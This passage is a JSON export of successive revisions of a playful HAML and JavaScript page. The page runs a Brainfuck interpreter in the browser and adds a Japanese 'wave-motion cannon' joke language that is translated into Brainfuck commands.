-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\u003e.[-]\u003c,]\",\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n time.innerHTML = out.time+\"ms\";\r\n commands.innerHTML = out.count;\r\n stdo.value = out.output;\r\n }\r\n \r\n lorem.onclick = function () {\r\n stdi.value = ipsum;\r\n }\r\n \r\n txt2bf.onclick = function () {\r\n var rslt = Brainfuck.text2bf(code.value);\r\n stdo.value = rslt;\r\n }\r\n \r\n helloworld.onclick = function () {\r\n code.value = code_hw;\r\n }\r\n \r\n fibonacci.onclick = function () {\r\n code.value = code_fb;\r\n }\r\n \r\n rot13.onclick = function () {\r\n code.value = code_rot13;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:40:58.000Z","updated_at":"2011-08-14T11:40:58.000Z"},{"id":1833,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n.intro\r\n 波動砲、発射ー!!!\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} Nutzer-Eingabe\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} Programmausgabe\r\n #buttons\r\n %button#interprete Interprete\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:44:06.000Z","updated_at":"2011-08-14T11:44:06.000Z"},{"id":1834,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n.intro\r\n 波動砲、発射ー!!!\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:45:15.000Z","updated_at":"2011-08-14T11:45:15.000Z"},{"id":1835,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:46:00.000Z","updated_at":"2011-08-14T11:46:00.000Z"},{"id":1836,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:46:26.000Z","updated_at":"2011-08-14T11:46:26.000Z"},{"id":1837,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/, \"\u003e\").replace(/、/, \"\u003c\").replace(/発射/,\"+\").replace(/ー/, \"-\").replace(/!/, \".\").replace(/用意/, \",\").replace(/!/, \"[\").replace(/。/, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:50:58.000Z","updated_at":"2011-08-14T11:50:58.000Z"},{"id":1838,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. \r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/, \"\u003e\").replace(/、/, \"\u003c\").replace(/発射/,\"+\").replace(/ー/, \"-\").replace(/!/, \".\").replace(/用意/, \",\").replace(/!/, \"[\").replace(/。/, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:52:23.000Z","updated_at":"2011-08-14T11:52:23.000Z"},{"id":1839,"name":"波動砲","body":"%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 発射発射発射発射発射発射発射発射発射発射!波動砲発射発射発射発射発射発射発射波動砲発射発射発射発射発射発射発射発射発射発射波動砲発射発射発射波動砲発射、、、、−。波動砲発射発射!波動砲発射!発射発射発射発射発射発射発射!!発射発射発射!波動砲発射発射!、、発射発射発射発射発射発射発射発射発射発射発射発射発射発射発射!波動砲!発射発射発射!−−−−−−!−−−−−−−−!波動砲発射!波動砲!\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/, \"\u003e\").replace(/、/, \"\u003c\").replace(/発射/,\"+\").replace(/ー/, \"-\").replace(/!/, \".\").replace(/用意/, \",\").replace(/!/, \"[\").replace(/。/, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:56:33.000Z","updated_at":"2011-08-14T11:56:33.000Z"},{"id":1840,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 発射発射発射発射発射発射発射発射発射発射!波動砲発射発射発射発射発射発射発射波動砲発射発射発射発射発射発射発射発射発射発射波動砲発射発射発射波動砲発射、、、、−。波動砲発射発射!波動砲発射!発射発射発射発射発射発射発射!!発射発射発射!波動砲発射発射!、、発射発射発射発射発射発射発射発射発射発射発射発射発射発射発射!波動砲!発射発射発射!−−−−−−!−−−−−−−−!波動砲発射!波動砲!\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/, \"\u003e\").replace(/、/, \"\u003c\").replace(/発射/,\"+\").replace(/ー/, \"-\").replace(/!/, \".\").replace(/用意/, \",\").replace(/!/, \"[\").replace(/。/, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:56:48.000Z","updated_at":"2011-08-14T11:56:48.000Z"},{"id":1841,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 発射発射発射発射発射発射発射発射発射発射!波動砲発射発射発射発射発射発射発射波動砲発射発射発射発射発射発射発射発射発射発射波動砲発射発射発射波動砲発射、、、、−。波動砲発射発射!波動砲発射!発射発射発射発射発射発射発射!!発射発射発射!波動砲発射発射!、、発射発射発射発射発射発射発射発射発射発射発射発射発射発射発射!波動砲!発射発射発射!−−−−−−!−−−−−−−−!波動砲発射!波動砲!\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"\u003e\").replace(/、/g, \"\u003c\").replace(/発射/g,\"+\").replace(/ー/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T12:00:22.000Z","updated_at":"2011-08-14T12:00:22.000Z"},{"id":1842,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e[+\u003e\u003e\u003e\u003e\u003e\u003e\u003e+\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e+\u003e\u003e\u003e+\u003e\u003c\u003c\u003c\u003c−]+\u003e\u003e.+\u003e.\u003e\u003e\u003e\u003e\u003e\u003e\u003e..\u003e\u003e\u003e.+\u003e\u003e.\u003c\u003c\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e\u003e.+.\u003e\u003e\u003e.−−−−−−.−−−−−−−−.+\u003e.+.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/ー/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T12:09:25.000Z","updated_at":"2011-08-14T12:09:25.000Z"},{"id":1843,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }\r\n","created_at":"2011-08-14T12:14:16.000Z","updated_at":"2011-08-14T12:14:16.000Z"},{"id":1844,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p 処理系は[これ](http://unpunk.planspielpopband.de/brainfuck/info.html)\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, \".\").replace(/用意/g, \",\").replace(/!/g, \"[\").replace(/。/g, \"]\")\r\n }\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\");\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n var bf_code = Brainfuck.preprocess(hadouhou2bf(code.value));\r\n out = Brainfuck.interprete.stats(bf_code, stdi.value);\r\n stdo.value = out.output;\r\n }\r\n }","created_at":"2011-08-14T12:16:14.000Z","updated_at":"2011-08-14T12:16:14.000Z"},{"id":1845,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%title 波動砲、発射ーーー!!!\r\n%h1 波動砲\r\n%h2 発射ーーー!!\r\n%div\r\n %p Chrome で動作を確認\r\n %p 処理系は[これ](http://unpunk.planspielpopband.de/brainfuck/info.html)\r\n%div\r\n %br\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n 波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲発射波動砲波動砲波動砲発射波動砲、、、、−。発射波動砲波動砲!発射波動砲!波動砲波動砲波動砲波動砲波動砲波動砲波動砲!!波動砲波動砲波動砲!発射波動砲波動砲!、、波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲波動砲!発射!波動砲波動砲波動砲!−−−−−−!−−−−−−−−!発射波動砲!発射!\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c-]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.------.--------.\u003e+.\u003e.\r\n -#++++++++++[\u003e+++++++\u003e++++++++++\u003e+++\u003e+\u003c\u003c\u003c\u003c−]\u003e++.\u003e+.+++++++..+++.\u003e++.\u003c\u003c+++++++++++++++.\u003e.+++.−−−−−−.−−−−−−−−.\u003e+.\u003e.\r\n %br\r\n %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} 入力\r\n %br\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} 出力\r\n %br\r\n #buttons\r\n %button#interprete 発射ーー!!\r\n:javascript\r\n \"use strict\";\r\n \r\n var hadouhou2bf = function(text){\r\n return text.replace(/波動砲/g, \"+\").replace(/、/g, \"\u003c\").replace(/発射/g,\"\u003e\").replace(/−/g, \"-\").replace(/!/g, 